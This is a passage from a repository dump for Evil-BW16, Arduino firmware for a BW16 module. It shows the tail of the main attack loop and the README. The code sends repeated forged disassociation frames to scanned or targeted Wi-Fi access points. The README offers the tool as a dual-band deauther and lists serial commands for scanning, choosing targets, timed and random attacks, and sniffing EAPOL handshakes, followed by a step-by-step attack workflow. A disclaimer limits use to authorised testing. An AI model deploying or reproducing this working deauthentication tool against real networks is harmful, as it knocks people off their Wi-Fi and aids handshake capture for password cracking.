handleCommand(command); 1157 | } 1158 | 1159 | // Timed Attack check 1160 | checkTimedAttack(); 1161 | 1162 | // Attack cycles 1163 | if (millis() - last_cycle > cycle_delay) { 1164 | if (attack_enabled) { 1165 | // Optionally perform a scan between cycles 1166 | if (scan_between_cycles) { 1167 | Serial.println("[INFO] Starting scan between attack cycles..."); 1168 | if (scanNetworks() == 0) { 1169 | printScanResults(); 1170 | } 1171 | else { 1172 | Serial.println("[ERROR] Scan failed."); 1173 | } 1174 | } 1175 | if (target_mode) { 1176 | targetAttack(); 1177 | } 1178 | else { 1179 | generalAttack(); 1180 | } 1181 | } 1182 | last_cycle = millis(); 1183 | } 1184 | 1185 | //=============================== 1186 | // CONTINUOUS DISASSOC ATTACK 1187 | //=============================== 1188 | if (disassoc_enabled && (millis() - last_disassoc_attack >= disassoc_interval)) { 1189 | last_disassoc_attack = millis(); 1190 | 1191 | // Decide which list of APs to attack 1192 | const std::vector &aps_to_attack = 1193 | (target_mode && !target_aps.empty()) ? target_aps : scan_results; 1194 | 1195 | if (aps_to_attack.empty()) { 1196 | Serial.println("[ERROR] No APs available for Disassociation Attack. Perform a scan or set targets first."); 1197 | return; 1198 | } 1199 | 1200 | for (size_t i = 0; i < aps_to_attack.size(); i++) { 1201 | wifi_set_channel(aps_to_attack[i].channel); 1202 | 1203 | for (int j = 0; j < num_send_frames; j++) { 1204 | // Reason code 8 => Disassociated because station left 1205 | wifi_tx_disassoc_frame(aps_to_attack[i].bssid, dst_mac, 0x08); 1206 | 1207 | // Optional LED blink 1208 | if (USE_LED) { 1209 | digitalWrite(LED_B, HIGH); 1210 | delay(50); 1211 | digitalWrite(LED_B, LOW); 1212 | } 1213 | 1214 | Serial.print("[DISASSOC] Frame "); 1215 | Serial.print(j + 1); 1216 | Serial.print(" => "); 1217 | Serial.print(aps_to_attack[i].ssid); 1218 | Serial.print(" ("); 1219 | Serial.print(aps_to_attack[i].bssid_str); 1220 | Serial.print(") on channel "); 1221 | Serial.println(aps_to_attack[i].channel); 1222 | } 1223 | } 1224 | Serial.println("[DISASSOC] Disassociation Attack cycle completed."); 1225 | } 1226 | // Handle channel hopping if enabled 1227 | if (isSniffing) { 1228 | hopChannel(); 1229 | } 1230 | } 1231 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil-BW16 2 | 3 | Evil-BW16 is a powerful and automated dual-band Wi-Fi deauther capable of targeting 2.4 GHz and 5.8 GHz networks. 4 | 5 | It is configurable and manageable via a serial interface, allowing for precise control of scanning and deauthentication operations. 6 | 7 | ## Disclaimer 8 | 9 | This tool is intended for educational purposes and ethical penetration testing only. Unauthorized use of this tool is illegal and strictly prohibited. The authors are not responsible for any misuse of this software. 10 | 11 | ## Features 12 | 13 | - **Dual-Band Support:** Operates on both 2.4 GHz and 5 GHz Wi-Fi frequencies. 14 | - **Configurable Parameters:** Adjust cycle delays, scan durations, and attack intensity. 15 | - **Targeted Attacks:** Ability to select specific access points for deauthentication. 16 | - **Automated Cycles:** Continuously scans and attacks based on user settings. 17 | - **Serial Control:** Manage and configure the device using simple serial commands. 18 | - **LED Indicators:** Provides visual feedback during operation. 19 | - **Sniffer:** Sniff Beacon, Probes, Deauth, EAPOL and Pwnagotchi. 20 | 21 | ## Requirements 22 | 23 | - **Hardware:** 24 | - BW16 Module (https://s.click.aliexpress.com/e/_oENtnjD) Choose BW16 KIT Type-C 25 | - Compatible LED indicators (optional) 26 | - **Software:** 27 | - Arduino IDE (1.8.19 or higher recommended) 28 | - BW16 Wi-Fi Libraries 29 | 30 | ## Installation 31 | 32 | 1. Clone this repository to your local machine: 33 | ```bash 34 | git clone https://github.com/yourusername/Evil-BW16.git 35 | ``` 36 | 2. Open the `Evil-BW16.ino` file in the Arduino IDE. 37 | 3. Install the required libraries for the BW16 module. 38 | 4. Configure your settings in the code: 39 | - Update `WIFI_SSID`, `WIFI_PASS`, and `WIFI_CHANNEL` to match your requirements. 40 | 5. Upload the code to your BW16 module using the Arduino IDE. 41 | 42 | ## Usage 43 | 44 | ### Commands 45 | 46 | Commands are sent via the serial interface to control the behavior of the device. Below is the list of supported commands: 47 | 48 | # Available Commands 49 | 50 | #### [Deauther] Core Commands 51 | - `start deauther` : Start the deauth attack cycle. 52 | - `stop deauther` : Stop all attack cycles. 53 | - `scan` : Perform a WiFi scan and display the results. 54 | - `results` : Show the last WiFi scan results. 55 | - `disassoc` : Begin continuous disassociation attacks. 56 | - `random_attack` : Deauth a randomly chosen AP from the scan list. 57 | - `attack_time ` : Start a timed attack for the specified duration in milliseconds. 58 | 59 | #### [Sniffer] WiFi Sniffer Commands 60 | - `start sniff` : Enable the sniffer in ALL mode. 61 | - `sniff beacon` : Enable or disable the capture of beacon frames. 62 | - `sniff probe` : Enable or disable the capture of probe request/response frames. 63 | - `sniff deauth` : Enable or disable the capture of deauth/disassociation frames. 64 | - `sniff eapol` : Enable or disable the capture of EAPOL frames. 65 | - `sniff pwnagotchi` : Enable or disable the capture of Pwnagotchi beacons. 66 | - `sniff all` : Enable or disable the capture of all frame types. 67 | - `stop sniff` : Stop the sniffer. 68 | - `hop on` : Enable channel hopping. 69 | - `hop off` : Disable channel hopping. 70 | 71 | #### [Configuration] Set Commands 72 | - `set ` : Update configuration parameters. Supported keys: 73 | - `ch ` : Set the channel to a specific value `X`. 74 | - `cycle_delay ` : Set the delay between scan/attack cycles (in milliseconds). 75 | - `scan_time ` : Set the scan duration (in milliseconds). 76 | - `num_frames` : Set the number of deauth/disassociation frames sent per AP. 77 | - `start_channel` : Set the starting channel for scanning (e.g., `1` for 2.4 GHz, `36` for 5 GHz). 78 | - `scan_cycles` : Enable or disable scanning between attack cycles (`on` or `off`). 79 | - `led` : Enable or disable LEDs (`on` or `off`). 80 | - `target ` : Specify target APs by their indices (e.g., `set target 1,3,5`). 81 | 82 | #### [Utility] Other Commands 83 | - `info` : Display the current configuration settings. 84 | - `help` : Display the list of all available commands. 85 | 86 | 87 | ### Graphical interface 88 | 89 | Big thx to @dagnazty for the work : 90 | https://github.com/dagnazty/Evil-BW16-Control-Panel 91 | 92 | 93 | You should also check the fork thx to @Hosseios : 94 | https://github.com/Hosseios/Evil-BW16-Control-Panel 95 | 96 | ### Example Workflow 97 | 98 | 1. Start a Wi-Fi scan: 99 | ``` 100 | scan 101 | ``` 102 | Review the detected networks in the serial output. 103 | 104 | 2. Target specific networks: 105 | ``` 106 | set target 1,2 107 | ``` 108 | 109 | 3. Begin the attack: 110 | ``` 111 | start 112 | ``` 113 | 114 | 4. Stop the attack: 115 | ``` 116 | stop 117 | ``` 118 | 119 | ## Configuration 120 | 121 | Modify the following parameters in the code to customize the behavior: 122 | 123 | - `WIFI_SSID`: SSID of the hidden access point. 124 | - `WIFI_PASS`: Password for the hidden access point. 125 | - `WIFI_CHANNEL`: Channel for the hidden access point. 126 | - `cycle_delay`: Delay between attack cycles (in milliseconds). 127 | - `scan_time`: Duration of Wi-Fi scans (in milliseconds). 128 | - `num_send_frames`: Number of deauthentication frames sent per AP. 129 | - `start_channel`: Starting channel for scanning. 130 | - `scan_between_cycles`: Enable/disable scanning between cycles. 131 | - `USE_LED`: Enable/disable LED feedback. 132 | 133 | ## Disclaimer 134 | 135 | This tool is intended for educational purposes and ethical penetration testing only. Unauthorized use of this tool is illegal and strictly prohibited. The authors are not responsible for any misuse of this software. 136 | 137 | ## Packet injection on bw16 138 | 139 | https://github.com/tesa-klebeband/RTL8720dn-WiFi-Packet-Injection 140 | 141 | ## Contributions 142 | 143 | Contributions are welcome! Feel free to fork this repository and submit pull requests. 144 | -------------------------------------------------------------------------------- /github-img/README.md: -------------------------------------------------------------------------------- 1 | Github Img folder 2 | -------------------------------------------------------------------------------- /github-img/bw16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7h30th3r0n3/Evil-BW16/324bd9317805febbf7dfc8123aa877fea1ce673f/github-img/bw16.png --------------------------------------------------------------------------------